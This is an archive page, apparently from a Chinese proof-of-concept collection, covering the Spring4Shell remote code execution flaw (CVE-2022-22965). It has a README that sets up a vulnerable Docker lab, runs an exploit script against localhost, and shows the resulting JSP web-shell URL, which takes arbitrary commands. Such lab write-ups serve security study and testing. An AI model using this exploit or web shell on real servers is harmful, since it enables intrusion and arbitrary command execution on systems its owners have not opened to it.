关联漏洞
            
                
                    标题:
                    Spring Framework 代码注入漏洞
                        (CVE-2022-22965)
                    
                    描述:Spring Framework是美国Spring团队的一套开源的Java、JavaEE应用程序框架。该框架可帮助开发人员构建高质量的应用。 Spring Framework 存在代码注入漏洞,该漏洞源于 JDK 9+ 上的数据绑定的 RCE。以下产品和版本受到影响:5.3.0 至 5.3.17、5.2.0 至 5.2.19、较旧的和不受支持的版本也会受到影响。
                
        
 
        
            描述
            Another spring4shell (Spring core RCE)  POC
        
        
            介绍
            # Spring4shell RCE vulnerability
This vulnerability affects Spring Core and allows an attacker to send a specially crafted HTTP request to bypass protections in the library’s HTTP request parser, leading to remote code execution.
More info [Here](https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement)

In order for this vulnerability to be exploited, several conditions must be met
* Use JDK 9 or higher
* Have Apache Tomcat as the servlet container
* Be packaged as a traditional WAR (in contrast to a Spring Boot executable jar)
* Use the spring-webmvc or spring-webflux dependency
* Use Spring framework versions 5.3.0 to 5.3.17, 5.2.0 to 5.2.19, or older versions
# POC
* Build the docker image
```
docker build . -t springshell-rce-poc
```
* Run the docker container
```
docker run --rm -p 8081:8080 --name springshell-rce-poc springshell-rce-poc
```
* Running the exploit
```
python exploit-poc.py --url "http://127.0.0.1:8081/"
```
The expected response
```
exploiting
Shell URL:http://127.0.0.1:8081/tomcatwar.jsp?pwd=j&cmd=whoami
```
If you accessed this url, it will run whatever command you want `cmd=<whatyouwant>`

If you ssh the container you will see a new file has been created `tomcatwar.jsp`
```
docker exec -it springshell-rce-poc /bin/bash
ls /usr/local/tomcat/webapps/ROOT
```
        
        文件快照
        
            
                
 [4.0K]  /data/pocs/f62a29e6134ff2fd9749d15c1c7169b4d6f3ef0d
├── [4.0K]  app
│   ├── [1.7K]  pom.xml
│   └── [4.0K]  src
│       └── [4.0K]  main
│           └── [4.0K]  java
│               ├── [1.1K]  App.java
│               └── [ 216]  User.java
├── [ 364]  Dockerfile
├── [ 88K]  exploit.png
├── [2.0K]  exploit-poc.py
├── [   1]  init
├── [1.3K]  README.md
└── [381K]  screenshot.png
4 directories, 9 files
                
             
         
        备注
        
            
                1. 建议优先通过来源进行访问。
                2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
                3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。